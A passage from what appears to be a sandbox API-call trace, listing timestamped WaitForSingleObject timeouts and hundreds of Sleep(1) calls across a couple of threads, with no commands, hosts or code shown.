WaitForSingleObject (hHandle=0x540, dwMilliseconds=0x0) returned 0x102 [0085.650] Sleep (dwMilliseconds=0x1) [0085.661] WaitForSingleObject (hHandle=0x49c, dwMilliseconds=0x0) returned 0x102 [0085.661] WaitForSingleObject (hHandle=0x404, dwMilliseconds=0x0) returned 0x102 [0120.259] Sleep (dwMilliseconds=0x1) [0152.289] Sleep (dwMilliseconds=0x1) [0152.347] Sleep (dwMilliseconds=0x1) [0152.421] Sleep (dwMilliseconds=0x1) [0152.447] Sleep (dwMilliseconds=0x1) [0152.466] Sleep (dwMilliseconds=0x1) [0152.771] Sleep (dwMilliseconds=0x1) [0152.787] Sleep (dwMilliseconds=0x1) [0152.803] Sleep (dwMilliseconds=0x1) [0158.149] Sleep (dwMilliseconds=0x1) [0158.278] Sleep (dwMilliseconds=0x1) [0158.967] Sleep (dwMilliseconds=0x1) [0159.028] Sleep (dwMilliseconds=0x1) [0159.225] Sleep (dwMilliseconds=0x1) [0159.328] Sleep (dwMilliseconds=0x1) [0159.351] Sleep (dwMilliseconds=0x1) [0159.355] Sleep (dwMilliseconds=0x1) [0159.484] Sleep (dwMilliseconds=0x1) [0159.608] Sleep (dwMilliseconds=0x1) [0160.085] Sleep (dwMilliseconds=0x1) [0160.096] Sleep (dwMilliseconds=0x1) [0160.107] Sleep (dwMilliseconds=0x1) [0160.120] Sleep (dwMilliseconds=0x1) [0160.135] Sleep (dwMilliseconds=0x1) [0160.152] Sleep (dwMilliseconds=0x1) [0160.167] Sleep (dwMilliseconds=0x1) [0160.182] Sleep (dwMilliseconds=0x1) [0160.198] Sleep (dwMilliseconds=0x1) [0160.214] Sleep (dwMilliseconds=0x1) [0160.237] Sleep (dwMilliseconds=0x1) [0160.249] Sleep (dwMilliseconds=0x1) [0160.261] Sleep (dwMilliseconds=0x1) [0160.276] Sleep (dwMilliseconds=0x1) [0160.385] Sleep (dwMilliseconds=0x1) [0160.414] Sleep (dwMilliseconds=0x1) [0160.419] Sleep (dwMilliseconds=0x1) [0160.436] Sleep (dwMilliseconds=0x1) [0160.448] Sleep (dwMilliseconds=0x1) [0160.466] Sleep (dwMilliseconds=0x1) [0161.086] Sleep (dwMilliseconds=0x1) [0166.165] Sleep (dwMilliseconds=0x1) [0166.220] Sleep (dwMilliseconds=0x1) [0166.284] Sleep (dwMilliseconds=0x1) [0166.302] Sleep (dwMilliseconds=0x1) [0166.314] Sleep (dwMilliseconds=0x1) [0166.330] Sleep (dwMilliseconds=0x1) [0166.346] Sleep (dwMilliseconds=0x1) [0166.380] Sleep (dwMilliseconds=0x1) [0166.400] Sleep (dwMilliseconds=0x1) [0166.442] Sleep (dwMilliseconds=0x1) [0166.458] Sleep (dwMilliseconds=0x1) [0166.470] Sleep (dwMilliseconds=0x1) [0171.585] Sleep (dwMilliseconds=0x1) [0171.603] Sleep (dwMilliseconds=0x1) [0171.648] Sleep (dwMilliseconds=0x1) [0171.664] Sleep (dwMilliseconds=0x1) [0171.679] Sleep (dwMilliseconds=0x1) [0171.695] Sleep (dwMilliseconds=0x1) [0171.710] Sleep (dwMilliseconds=0x1) [0171.726] Sleep (dwMilliseconds=0x1) [0171.742] Sleep (dwMilliseconds=0x1) [0171.757] Sleep (dwMilliseconds=0x1) [0171.773] Sleep (dwMilliseconds=0x1) [0171.790] Sleep (dwMilliseconds=0x1) [0171.805] Sleep (dwMilliseconds=0x1) [0171.820] Sleep (dwMilliseconds=0x1) [0171.835] Sleep (dwMilliseconds=0x1) [0171.851] Sleep (dwMilliseconds=0x1) [0171.867] Sleep (dwMilliseconds=0x1) [0171.882] Sleep (dwMilliseconds=0x1) [0171.901] Sleep (dwMilliseconds=0x1) [0171.913] Sleep (dwMilliseconds=0x1) [0171.929] Sleep (dwMilliseconds=0x1) [0171.944] Sleep (dwMilliseconds=0x1) [0171.960] Sleep (dwMilliseconds=0x1) [0171.976] Sleep (dwMilliseconds=0x1) [0171.991] Sleep (dwMilliseconds=0x1) [0172.007] Sleep (dwMilliseconds=0x1) [0172.022] Sleep (dwMilliseconds=0x1) [0172.038] Sleep (dwMilliseconds=0x1) [0172.055] Sleep (dwMilliseconds=0x1) [0172.070] Sleep (dwMilliseconds=0x1) [0172.085] Sleep (dwMilliseconds=0x1) [0172.101] Sleep (dwMilliseconds=0x1) [0172.116] Sleep (dwMilliseconds=0x1) [0172.135] Sleep (dwMilliseconds=0x1) [0172.148] Sleep (dwMilliseconds=0x1) [0172.163] Sleep (dwMilliseconds=0x1) [0172.179] Sleep (dwMilliseconds=0x1) [0172.194] Sleep (dwMilliseconds=0x1) [0172.210] Sleep (dwMilliseconds=0x1) [0172.225] Sleep (dwMilliseconds=0x1) [0172.241] Sleep (dwMilliseconds=0x1) [0172.256] Sleep (dwMilliseconds=0x1) [0172.272] Sleep (dwMilliseconds=0x1) [0172.287] Sleep (dwMilliseconds=0x1) [0180.238] Sleep (dwMilliseconds=0x1) [0180.244] Sleep (dwMilliseconds=0x1) [0180.259] Sleep (dwMilliseconds=0x1) [0180.275] Sleep (dwMilliseconds=0x1) [0180.294] Sleep (dwMilliseconds=0x1) [0180.307] Sleep (dwMilliseconds=0x1) [0186.630] Sleep (dwMilliseconds=0x1) [0186.640] Sleep (dwMilliseconds=0x1) [0186.655] Sleep (dwMilliseconds=0x1) [0186.670] Sleep (dwMilliseconds=0x1) [0186.686] Sleep (dwMilliseconds=0x1) [0186.703] Sleep (dwMilliseconds=0x1) [0186.717] Sleep (dwMilliseconds=0x1) [0186.733] Sleep (dwMilliseconds=0x1) [0186.749] Sleep (dwMilliseconds=0x1) [0186.769] Sleep (dwMilliseconds=0x1) [0186.779] Sleep (dwMilliseconds=0x1) [0186.796] Sleep (dwMilliseconds=0x1) [0186.811] Sleep (dwMilliseconds=0x1) [0186.827] Sleep (dwMilliseconds=0x1) [0186.844] Sleep (dwMilliseconds=0x1) [0186.860] Sleep (dwMilliseconds=0x1) [0186.874] Sleep (dwMilliseconds=0x1) [0186.889] Sleep (dwMilliseconds=0x1) [0186.910] Sleep (dwMilliseconds=0x1) [0186.920] Sleep (dwMilliseconds=0x1) [0186.935] Sleep (dwMilliseconds=0x1) [0186.951] Sleep (dwMilliseconds=0x1) [0186.967] Sleep (dwMilliseconds=0x1) [0186.983] Sleep (dwMilliseconds=0x1) [0186.998] Sleep (dwMilliseconds=0x1) [0187.013] Sleep (dwMilliseconds=0x1) [0187.029] Sleep (dwMilliseconds=0x1) [0187.045] Sleep (dwMilliseconds=0x1) [0187.060] Sleep (dwMilliseconds=0x1) [0187.076] Sleep (dwMilliseconds=0x1) [0187.092] Sleep (dwMilliseconds=0x1) [0187.107] Sleep (dwMilliseconds=0x1) [0187.123] Sleep (dwMilliseconds=0x1) [0187.139] Sleep (dwMilliseconds=0x1) [0187.154] Sleep (dwMilliseconds=0x1) [0187.170] Sleep (dwMilliseconds=0x1) [0187.185] Sleep (dwMilliseconds=0x1) [0187.201] Sleep (dwMilliseconds=0x1) [0187.216] Sleep (dwMilliseconds=0x1) [0187.233] Sleep (dwMilliseconds=0x1) [0187.248] Sleep (dwMilliseconds=0x1) [0187.263] Sleep (dwMilliseconds=0x1) [0187.279] Sleep (dwMilliseconds=0x1) [0187.300] Sleep (dwMilliseconds=0x1) [0187.310] Sleep (dwMilliseconds=0x1) [0187.328] Sleep (dwMilliseconds=0x1) [0187.349] Sleep (dwMilliseconds=0x1) [0187.360] Sleep (dwMilliseconds=0x1) [0187.378] Sleep (dwMilliseconds=0x1) [0187.388] Sleep (dwMilliseconds=0x1) [0187.438] Sleep (dwMilliseconds=0x1) [0187.456] Sleep (dwMilliseconds=0x1) [0187.466] Sleep (dwMilliseconds=0x1) [0187.483] Sleep (dwMilliseconds=0x1) [0187.497] Sleep (dwMilliseconds=0x1) [0187.513] Sleep (dwMilliseconds=0x1) [0187.529] Sleep (dwMilliseconds=0x1) [0187.544] Sleep (dwMilliseconds=0x1) [0187.560] Sleep (dwMilliseconds=0x1) [0187.576] Sleep (dwMilliseconds=0x1) [0187.609] Sleep (dwMilliseconds=0x1) [0187.642] Sleep (dwMilliseconds=0x1) [0187.655] Sleep (dwMilliseconds=0x1) [0187.669] Sleep (dwMilliseconds=0x1) [0187.685] Sleep (dwMilliseconds=0x1) [0187.701] Sleep (dwMilliseconds=0x1) [0187.716] Sleep (dwMilliseconds=0x1) [0187.731] Sleep (dwMilliseconds=0x1) [0187.747] Sleep (dwMilliseconds=0x1) [0187.763] Sleep (dwMilliseconds=0x1) [0187.778] Sleep (dwMilliseconds=0x1) [0187.795] Sleep (dwMilliseconds=0x1) [0187.810] Sleep (dwMilliseconds=0x1) [0187.826] Sleep (dwMilliseconds=0x1) [0193.153] Sleep (dwMilliseconds=0x1) [0193.161] Sleep (dwMilliseconds=0x1) [0193.179] Sleep (dwMilliseconds=0x1) [0193.192] Sleep (dwMilliseconds=0x1) [0193.316] Sleep (dwMilliseconds=0x1) [0193.332] Sleep (dwMilliseconds=0x1) [0193.348] Sleep (dwMilliseconds=0x1) [0193.363] Sleep (dwMilliseconds=0x1) [0193.379] Sleep (dwMilliseconds=0x1) [0193.396] Sleep (dwMilliseconds=0x1) [0193.410] Sleep (dwMilliseconds=0x1) [0193.427] Sleep (dwMilliseconds=0x1) [0193.441] Sleep (dwMilliseconds=0x1) [0193.457] Sleep (dwMilliseconds=0x1) [0193.584] Sleep (dwMilliseconds=0x1) [0193.615] Sleep (dwMilliseconds=0x1) [0193.629] Sleep (dwMilliseconds=0x1) [0193.648] Sleep (dwMilliseconds=0x1) [0193.660] Sleep (dwMilliseconds=0x1) [0193.675] Sleep (dwMilliseconds=0x1) [0193.693] Sleep (dwMilliseconds=0x1) [0193.707] Sleep (dwMilliseconds=0x1) [0193.722] Sleep (dwMilliseconds=0x1) [0193.738] Sleep (dwMilliseconds=0x1) [0193.754] Sleep (dwMilliseconds=0x1) [0243.883] Sleep (dwMilliseconds=0x1) [0244.272] Sleep (dwMilliseconds=0x1) [0244.286] Sleep (dwMilliseconds=0x1) [0244.304] Sleep (dwMilliseconds=0x1) Thread: id = 85 os_tid = 0xabc [0085.515] Sleep (dwMilliseconds=0x1) [0085.520] Sleep (dwMilliseconds=0x1) [0085.536] Sleep (dwMilliseconds=0x1) [0085.552] Sleep (dwMilliseconds=0x1) [0085.566] Sleep (dwMilliseconds=0x1) [0085.583] Sleep (dwMilliseconds=0x1) [0085.598] Sleep (dwMilliseconds=0x1) [0085.619] Sleep (dwMilliseconds=0x1) [0085.632] Sleep (dwMilliseconds=0x1) [0085.646] Sleep (dwMilliseconds=0x1) [0085.660] Sleep (dwMilliseconds=0x1) [0085.681] Sleep (dwMilliseconds=0x1) [0085.691] Sleep (dwMilliseconds=0x1) [0085.712] Sleep (dwMilliseconds=0x1) [0085.727] Sleep (dwMilliseconds=0x1) [0085.738] Sleep (dwMilliseconds=0x1) [0085.756] Sleep (dwMilliseconds=0x1) [0085.770] Sleep (dwMilliseconds=0x1) [0085.785] Sleep (dwMilliseconds=0x1) [0085.801] Sleep (dwMilliseconds=0x1) [0085.825] Sleep (dwMilliseconds=0x1) [0085.835] Sleep (dwMilliseconds=0x1) [0085.848] Sleep (dwMilliseconds=0x1) [0085.863] Sleep (dwMilliseconds=0x1) [0085.879] Sleep (dwMilliseconds=0x1) [0085.894] Sleep (dwMilliseconds=0x1) [0085.910] Sleep (dwMilliseconds=0x1) [0085.928] Sleep (dwMilliseconds=0x1) [0085.944] Sleep (dwMilliseconds=0x1) [0085.959] Sleep (dwMilliseconds=0x1) [0085.972] Sleep (dwMilliseconds=0x1) [0085.987] Sleep (dwMilliseconds=0x1) [0086.004] Sleep (dwMilliseconds=0x1) [0086.019] Sleep (dwMilliseconds=0x1) [0086.035] Sleep (dwMilliseconds=0x1) [0086.054] Sleep (dwMilliseconds=0x1) [0086.070] Sleep (dwMilliseconds=0x1) [0086.082] Sleep (dwMilliseconds=0x1) [0086.101] Sleep (dwMilliseconds=0x1) [0086.112] Sleep (dwMilliseconds=0x1) [0086.128] Sleep (dwMilliseconds=0x1) [0086.144] Sleep (dwMilliseconds=0x1) [0086.164] Sleep (dwMilliseconds=0x1) [0086.175] Sleep (dwMilliseconds=0x1) [0086.204] Sleep (dwMilliseconds=0x1) [0086.207] Sleep (dwMilliseconds=0x1) [0086.227] Sleep (dwMilliseconds=0x1) [0086.239] Sleep (dwMilliseconds=0x1) [0086.253] Sleep (dwMilliseconds=0x1) [0086.276] Sleep (dwMilliseconds=0x1) [0086.286] Sleep (dwMilliseconds=0x1) [0086.302] Sleep (dwMilliseconds=0x1) [0086.319] Sleep (dwMilliseconds=0x1) [0086.333] Sleep (dwMilliseconds=0x1) [0086.347] Sleep (dwMilliseconds=0x1) [0086.362] Sleep (dwMilliseconds=0x1) [0086.383] Sleep (dwMilliseconds=0x1) [0086.394] Sleep (dwMilliseconds=0x1) [0086.417] Sleep (dwMilliseconds=0x1) [0086.431] Sleep (dwMilliseconds=0x1) [0086.441] Sleep (dwMilliseconds=0x1) [0086.458] Sleep (dwMilliseconds=0x1) [0086.471] Sleep (dwMilliseconds=0x1) [0086.497] Sleep (dwMilliseconds=0x1) [0086.525] Sleep (dwMilliseconds=0x1) [0086.535] Sleep (dwMilliseconds=0x1) [0086.553] Sleep (dwMilliseconds=0x1) [0086.565] Sleep (dwMilliseconds=0x1) [0086.590] Sleep (dwMilliseconds=0x1) [0086.605] Sleep (dwMilliseconds=0x1) [0086.614] Sleep (dwMilliseconds=0x1) [0086.632] Sleep (dwMilliseconds=0x1) [0086.642] Sleep (dwMilliseconds=0x1) [0086.664] Sleep (dwMilliseconds=0x1) [0086.675] Sleep (dwMilliseconds=0x1) [0086.693] Sleep (dwMilliseconds=0x1) [0086.710] Sleep (dwMilliseconds=0x1) [0086.726] Sleep (dwMilliseconds=0x1) [0086.737] Sleep (dwMilliseconds=0x1) [0086.762] Sleep (dwMilliseconds=0x1) [0086.767] Sleep (dwMilliseconds=0x1) [0086.800] Sleep (dwMilliseconds=0x1) [0086.834] Sleep (dwMilliseconds=0x1) [0086.848] Sleep (dwMilliseconds=0x1) [0086.861] Sleep (dwMilliseconds=0x1) [0086.877] Sleep (dwMilliseconds=0x1) [0086.892] Sleep (dwMilliseconds=0x1) [0086.916] Sleep (dwMilliseconds=0x1) [0086.931] Sleep (dwMilliseconds=0x1) [0086.947] Sleep (dwMilliseconds=0x1) [0086.965] Sleep (dwMilliseconds=0x1) [0086.978] Sleep (dwMilliseconds=0x1) [0086.996] Sleep (dwMilliseconds=0x1) [0087.007] Sleep (dwMilliseconds=0x1) [0087.022] Sleep (dwMilliseconds=0x1) [0087.039] Sleep (dwMilliseconds=0x1) [0087.053] Sleep (dwMilliseconds=0x1) [0087.066] Sleep (dwMilliseconds=0x1) [0087.082] Sleep (dwMilliseconds=0x1) [0087.099] Sleep (dwMilliseconds=0x1) [0087.133] Sleep (dwMilliseconds=0x1) [0087.143] Sleep (dwMilliseconds=0x1) [0087.162] Sleep (dwMilliseconds=0x1) [0087.174] Sleep (dwMilliseconds=0x1) [0087.199] Sleep (dwMilliseconds=0x1) [0087.209] Sleep (dwMilliseconds=0x1) [0087.223] Sleep (dwMilliseconds=0x1) [0087.235] Sleep (dwMilliseconds=0x1) [0087.251] Sleep (dwMilliseconds=0x1) [0087.272] Sleep (dwMilliseconds=0x1) [0087.286] Sleep (dwMilliseconds=0x1) [0087.307] Sleep (dwMilliseconds=0x1) [0087.318] Sleep (dwMilliseconds=0x1) [0087.330] Sleep (dwMilliseconds=0x1) [0087.388] Sleep (dwMilliseconds=0x1) [0087.392] Sleep (dwMilliseconds=0x1) [0087.407] Sleep (dwMilliseconds=0x1) [0087.424] Sleep (dwMilliseconds=0x1) [0087.454] Sleep (dwMilliseconds=0x1) [0087.475] Sleep (dwMilliseconds=0x1) [0087.491] Sleep (dwMilliseconds=0x1) [0087.541] Sleep (dwMilliseconds=0x1) [0087.573] Sleep (dwMilliseconds=0x1) [0087.578] Sleep (dwMilliseconds=0x1) [0087.600] Sleep (dwMilliseconds=0x1) [0087.615] Sleep (dwMilliseconds=0x1) [0087.633] Sleep (dwMilliseconds=0x1) [0087.642] Sleep (dwMilliseconds=0x1) [0087.657] Sleep (dwMilliseconds=0x1) [0087.676] Sleep (dwMilliseconds=0x1) [0087.688] Sleep (dwMilliseconds=0x1) [0087.704] Sleep (dwMilliseconds=0x1) [0087.738] Sleep (dwMilliseconds=0x1) [0087.773] Sleep (dwMilliseconds=0x1) [0087.783] Sleep (dwMilliseconds=0x1) [0087.799] Sleep (dwMilliseconds=0x1) [0087.821] Sleep (dwMilliseconds=0x1) [0087.848] Sleep (dwMilliseconds=0x1) [0087.864] Sleep (dwMilliseconds=0x1) [0087.875] Sleep (dwMilliseconds=0x1) [0087.890] Sleep (dwMilliseconds=0x1) [0087.906] Sleep (dwMilliseconds=0x1) [0087.923] Sleep (dwMilliseconds=0x1) [0087.938] Sleep (dwMilliseconds=0x1) [0087.959] Sleep (dwMilliseconds=0x1) [0087.969] Sleep (dwMilliseconds=0x1) [0087.986] Sleep (dwMilliseconds=0x1) [0088.000] Sleep (dwMilliseconds=0x1) [0088.017] Sleep (dwMilliseconds=0x1) [0088.034] Sleep (dwMilliseconds=0x1) [0088.048] Sleep (dwMilliseconds=0x1) [0088.114] Sleep (dwMilliseconds=0x1) [0088.126] Sleep (dwMilliseconds=0x1) [0088.143] Sleep (dwMilliseconds=0x1) [0088.159] Sleep (dwMilliseconds=0x1) [0088.171] Sleep (dwMilliseconds=0x1) [0088.199] Sleep (dwMilliseconds=0x1) [0088.210] Sleep (dwMilliseconds=0x1) [0088.225] Sleep (dwMilliseconds=0x1) [0088.245] Sleep (dwMilliseconds=0x1) [0088.253] Sleep (dwMilliseconds=0x1) [0088.265] Sleep (dwMilliseconds=0x1) [0088.292] Sleep (dwMilliseconds=0x1) [0088.297] Sleep (dwMilliseconds=0x1) [0088.313] Sleep (dwMilliseconds=0x1) [0088.334] Sleep (dwMilliseconds=0x1) [0088.345] Sleep (dwMilliseconds=0x1) [0088.365] Sleep (dwMilliseconds=0x1) [0088.378] Sleep (dwMilliseconds=0x1) [0088.396] Sleep (dwMilliseconds=0x1) [0088.410] Sleep (dwMilliseconds=0x1) [0088.427] Sleep (dwMilliseconds=0x1) [0088.439] Sleep (dwMilliseconds=0x1) [0088.456] Sleep (dwMilliseconds=0x1) [0088.491] Sleep (dwMilliseconds=0x1) [0088.502] Sleep (dwMilliseconds=0x1) [0088.531] Sleep (dwMilliseconds=0x1) [0088.546] Sleep (dwMilliseconds=0x1) [0088.571] Sleep (dwMilliseconds=0x1) [0088.592] Sleep (dwMilliseconds=0x1) [0088.595] Sleep (dwMilliseconds=0x1) [0088.609] Sleep (dwMilliseconds=0x1) [0088.633] Sleep (dwMilliseconds=0x1) [0088.648] Sleep (dwMilliseconds=0x1) [0088.655] Sleep (dwMilliseconds=0x1) [0088.675] Sleep (dwMilliseconds=0x1) [0088.689] Sleep (dwMilliseconds=0x1) [0088.707] Sleep (dwMilliseconds=0x1) [0088.728] Sleep (dwMilliseconds=0x1) [0088.740] Sleep (dwMilliseconds=0x1) [0088.766] Sleep (dwMilliseconds=0x1) [0088.780] Sleep (dwMilliseconds=0x1) [0088.795] Sleep (dwMilliseconds=0x1) [0088.817] Sleep (dwMilliseconds=0x1) [0088.846] Sleep (dwMilliseconds=0x1) [0088.860] Sleep (dwMilliseconds=0x1) [0088.877] Sleep (dwMilliseconds=0x1) [0088.896] Sleep (dwMilliseconds=0x1) [0088.918] Sleep (dwMilliseconds=0x1) [0088.922] Sleep (dwMilliseconds=0x1) [0088.939] Sleep (dwMilliseconds=0x1) [0088.953] Sleep (dwMilliseconds=0x1) [0088.979] Sleep (dwMilliseconds=0x1) [0088.985] Sleep (dwMilliseconds=0x1) [0089.004] Sleep (dwMilliseconds=0x1) [0089.021] Sleep (dwMilliseconds=0x1) [0089.036] Sleep (dwMilliseconds=0x1) [0089.055] Sleep (dwMilliseconds=0x1) [0089.079] Sleep (dwMilliseconds=0x1) [0089.092] Sleep (dwMilliseconds=0x1) [0089.111] Sleep (dwMilliseconds=0x1) [0089.126] Sleep (dwMilliseconds=0x1) [0089.142] Sleep (dwMilliseconds=0x1) [0089.169] Sleep (dwMilliseconds=0x1) [0089.188] Sleep (dwMilliseconds=0x1) [0089.203] Sleep (dwMilliseconds=0x1) [0089.223] Sleep (dwMilliseconds=0x1) [0089.232] Sleep (dwMilliseconds=0x1) [0089.252] Sleep (dwMilliseconds=0x1) [0089.274] Sleep (dwMilliseconds=0x1) [0089.283] Sleep (dwMilliseconds=0x1) [0089.298] Sleep (dwMilliseconds=0x1) [0089.313] Sleep (dwMilliseconds=0x1) [0089.334] Sleep (dwMilliseconds=0x1) [0089.353] Sleep (dwMilliseconds=0x1) [0089.358] Sleep (dwMilliseconds=0x1) [0089.378] Sleep (dwMilliseconds=0x1) [0089.389] Sleep (dwMilliseconds=0x1) [0089.413] Sleep (dwMilliseconds=0x1) [0089.429] Sleep (dwMilliseconds=0x1) [0089.442] Sleep (dwMilliseconds=0x1) [0089.450] Sleep (dwMilliseconds=0x1) [0089.470] Sleep (dwMilliseconds=0x1) [0089.482] Sleep (dwMilliseconds=0x1) [0089.505] Sleep (dwMilliseconds=0x1) [0089.528] Sleep (dwMilliseconds=0x1) [0089.544] Sleep (dwMilliseconds=0x1) [0089.559] Sleep (dwMilliseconds=0x1) [0089.576] Sleep (dwMilliseconds=0x1) [0089.595] Sleep (dwMilliseconds=0x1) [0089.608] Sleep (dwMilliseconds=0x1) [0089.634] Sleep (dwMilliseconds=0x1) [0089.639] Sleep (dwMilliseconds=0x1) [0089.656] Sleep (dwMilliseconds=0x1) [0089.690] Sleep (dwMilliseconds=0x1) [0089.702] Sleep (dwMilliseconds=0x1) [0089.717] Sleep (dwMilliseconds=0x1) [0089.733] Sleep (dwMilliseconds=0x1) [0089.752] Sleep (dwMilliseconds=0x1) [0089.767] Sleep (dwMilliseconds=0x1) [0089.785] Sleep (dwMilliseconds=0x1) [0089.796] Sleep (dwMilliseconds=0x1) [0089.812] Sleep (dwMilliseconds=0x1) [0089.845] Sleep (dwMilliseconds=0x1) [0091.167] Sleep (dwMilliseconds=0x1) [0091.231] Sleep (dwMilliseconds=0x1) [0091.245] Sleep (dwMilliseconds=0x1) [0091.260] Sleep (dwMilliseconds=0x1) [0091.280] Sleep (dwMilliseconds=0x1) [0091.292] Sleep (dwMilliseconds=0x1) [0091.312] Sleep (dwMilliseconds=0x1) [0091.324] Sleep (dwMilliseconds=0x1) [0091.344] Sleep (dwMilliseconds=0x1) [0091.354] Sleep (dwMilliseconds=0x1) [0091.387] Sleep (dwMilliseconds=0x1) [0091.402] Sleep (dwMilliseconds=0x1) [0091.418] Sleep (dwMilliseconds=0x1) [0091.439] Sleep (dwMilliseconds=0x1) [0091.450] Sleep (dwMilliseconds=0x1) [0091.489] Sleep (dwMilliseconds=0x1) [0091.512] Sleep (dwMilliseconds=0x1) [0091.526] Sleep (dwMilliseconds=0x1) [0091.549] Sleep (dwMilliseconds=0x1) [0091.579] Sleep (dwMilliseconds=0x1) [0091.597] Sleep (dwMilliseconds=0x1) [0091.614] Sleep (dwMilliseconds=0x1) [0091.625] Sleep (dwMilliseconds=0x1) [0091.909] Sleep (dwMilliseconds=0x1) [0091.915] Sleep (dwMilliseconds=0x1) [0091.948] Sleep (dwMilliseconds=0x1) [0091.964] Sleep (dwMilliseconds=0x1) [0091.981] Sleep (dwMilliseconds=0x1) [0092.114] Sleep (dwMilliseconds=0x1) [0092.119] Sleep (dwMilliseconds=0x1) [0092.147] Sleep (dwMilliseconds=0x1) [0092.161] Sleep (dwMilliseconds=0x1) [0092.182] Sleep (dwMilliseconds=0x1) [0092.242] Sleep (dwMilliseconds=0x1) [0092.277] Sleep (dwMilliseconds=0x1) [0092.307] Sleep (dwMilliseconds=0x1) [0092.342] Sleep (dwMilliseconds=0x1) [0092.379] Sleep (dwMilliseconds=0x1) [0092.386] Sleep (dwMilliseconds=0x1) [0092.506] Sleep (dwMilliseconds=0x1) [0092.607] Sleep (dwMilliseconds=0x1) [0092.631] Sleep (dwMilliseconds=0x1) [0092.633] Sleep (dwMilliseconds=0x1) [0092.703] Sleep (dwMilliseconds=0x1) [0092.749] Sleep (dwMilliseconds=0x1) [0092.787] Sleep (dwMilliseconds=0x1) [0092.827] Sleep (dwMilliseconds=0x1) [0092.880] Sleep (dwMilliseconds=0x1) [0092.885] Sleep (dwMilliseconds=0x1) [0092.931] Sleep (dwMilliseconds=0x1) [0092.968] Sleep (dwMilliseconds=0x1) [0093.001] Sleep (dwMilliseconds=0x1) [0093.038] Sleep (dwMilliseconds=0x1) [0093.068] Sleep (dwMilliseconds=0x1) [0093.109] Sleep (dwMilliseconds=0x1) [0093.143] Sleep (dwMilliseconds=0x1) [0093.163] Sleep (dwMilliseconds=0x1) [0093.204] Sleep (dwMilliseconds=0x1) [0093.243] Sleep (dwMilliseconds=0x1) [0093.259] Sleep (dwMilliseconds=0x1) [0093.275] Sleep (dwMilliseconds=0x1) [0093.321] Sleep (dwMilliseconds=0x1) [0093.350] Sleep (dwMilliseconds=0x1) [0093.382] Sleep (dwMilliseconds=0x1) [0093.401] Sleep (dwMilliseconds=0x1) [0093.430] Sleep (dwMilliseconds=0x1) [0093.453] Sleep (dwMilliseconds=0x1) [0093.480] Sleep (dwMilliseconds=0x1) [0093.511] Sleep (dwMilliseconds=0x1) [0093.530] Sleep (dwMilliseconds=0x1) [0093.578] Sleep (dwMilliseconds=0x1) [0093.616] Sleep (dwMilliseconds=0x1) [0093.647] Sleep (dwMilliseconds=0x1) [0093.681] Sleep (dwMilliseconds=0x1) [0093.716] Sleep (dwMilliseconds=0x1) [0093.762] Sleep (dwMilliseconds=0x1) [0093.798] Sleep (dwMilliseconds=0x1) [0093.832] Sleep (dwMilliseconds=0x1) [0093.879] Sleep (dwMilliseconds=0x1) [0093.885] Sleep (dwMilliseconds=0x1) [0093.898] Sleep (dwMilliseconds=0x1) [0093.939] Sleep (dwMilliseconds=0x1) [0093.944] Sleep (dwMilliseconds=0x1) [0093.965] Sleep (dwMilliseconds=0x1) [0093.994] Sleep (dwMilliseconds=0x1) [0094.036] Sleep (dwMilliseconds=0x1) [0094.064] Sleep (dwMilliseconds=0x1) [0094.104] Sleep (dwMilliseconds=0x1) [0094.139] Sleep (dwMilliseconds=0x1) [0094.174] Sleep (dwMilliseconds=0x1) [0094.216] Sleep (dwMilliseconds=0x1) [0094.288] Sleep (dwMilliseconds=0x1) [0094.312] Sleep (dwMilliseconds=0x1) [0094.369] Sleep (dwMilliseconds=0x1) [0094.405] Sleep (dwMilliseconds=0x1) [0094.434] Sleep (dwMilliseconds=0x1) [0094.470] Sleep (dwMilliseconds=0x1) [0094.510] Sleep (dwMilliseconds=0x1) [0094.540] Sleep (dwMilliseconds=0x1) [0094.587] Sleep (dwMilliseconds=0x1) [0094.631] Sleep (dwMilliseconds=0x1) [0094.666] Sleep (dwMilliseconds=0x1) [0094.695] Sleep (dwMilliseconds=0x1) [0094.709] Sleep (dwMilliseconds=0x1) [0094.774] Sleep (dwMilliseconds=0x1) [0094.803] Sleep (dwMilliseconds=0x1) [0094.831] Sleep (dwMilliseconds=0x1) [0094.834] Sleep (dwMilliseconds=0x1) [0094.849] Sleep (dwMilliseconds=0x1) [0094.887] Sleep (dwMilliseconds=0x1) [0094.895] Sleep (dwMilliseconds=0x1) [0095.005] Sleep (dwMilliseconds=0x1) [0095.179] Sleep (dwMilliseconds=0x1) [0095.204] Sleep (dwMilliseconds=0x1) [0095.209] Sleep (dwMilliseconds=0x1) [0095.226] Sleep (dwMilliseconds=0x1) [0095.280] Sleep (dwMilliseconds=0x1) [0095.309] Sleep (dwMilliseconds=0x1) [0095.319] Sleep (dwMilliseconds=0x1) [0095.340] Sleep (dwMilliseconds=0x1) [0095.675] Sleep (dwMilliseconds=0x1) [0095.693] Sleep (dwMilliseconds=0x1) [0095.718] Sleep (dwMilliseconds=0x1) [0095.751] Sleep (dwMilliseconds=0x1) [0095.754] Sleep (dwMilliseconds=0x1) [0095.772] Sleep (dwMilliseconds=0x1) [0095.793] Sleep (dwMilliseconds=0x1) [0095.800] Sleep (dwMilliseconds=0x1) [0095.825] Sleep (dwMilliseconds=0x1) [0095.831] Sleep (dwMilliseconds=0x1) [0095.849] Sleep (dwMilliseconds=0x1) [0096.505] Sleep (dwMilliseconds=0x1) [0096.517] Sleep (dwMilliseconds=0x1) [0096.534] Sleep (dwMilliseconds=0x1) [0096.554] Sleep (dwMilliseconds=0x1) [0096.564] Sleep (dwMilliseconds=0x1) [0096.580] Sleep (dwMilliseconds=0x1) [0096.599] Sleep (dwMilliseconds=0x1) [0096.616] Sleep (dwMilliseconds=0x1) [0096.627] Sleep (dwMilliseconds=0x1) [0096.655] Sleep (dwMilliseconds=0x1) [0096.682] Sleep (dwMilliseconds=0x1) [0096.689] Sleep (dwMilliseconds=0x1) [0096.706] Sleep (dwMilliseconds=0x1) [0096.727] Sleep (dwMilliseconds=0x1) [0096.736] Sleep (dwMilliseconds=0x1) [0098.383] Sleep (dwMilliseconds=0x1) [0098.420] Sleep (dwMilliseconds=0x1) [0098.420] Sleep (dwMilliseconds=0x1) [0098.445] Sleep (dwMilliseconds=0x1) [0098.452] Sleep (dwMilliseconds=0x1) [0098.468] Sleep (dwMilliseconds=0x1) [0098.483] Sleep (dwMilliseconds=0x1) [0098.512] Sleep (dwMilliseconds=0x1) [0098.515] Sleep (dwMilliseconds=0x1) [0098.541] Sleep (dwMilliseconds=0x1) [0098.554] Sleep (dwMilliseconds=0x1) [0098.582] Sleep (dwMilliseconds=0x1) [0098.597] Sleep 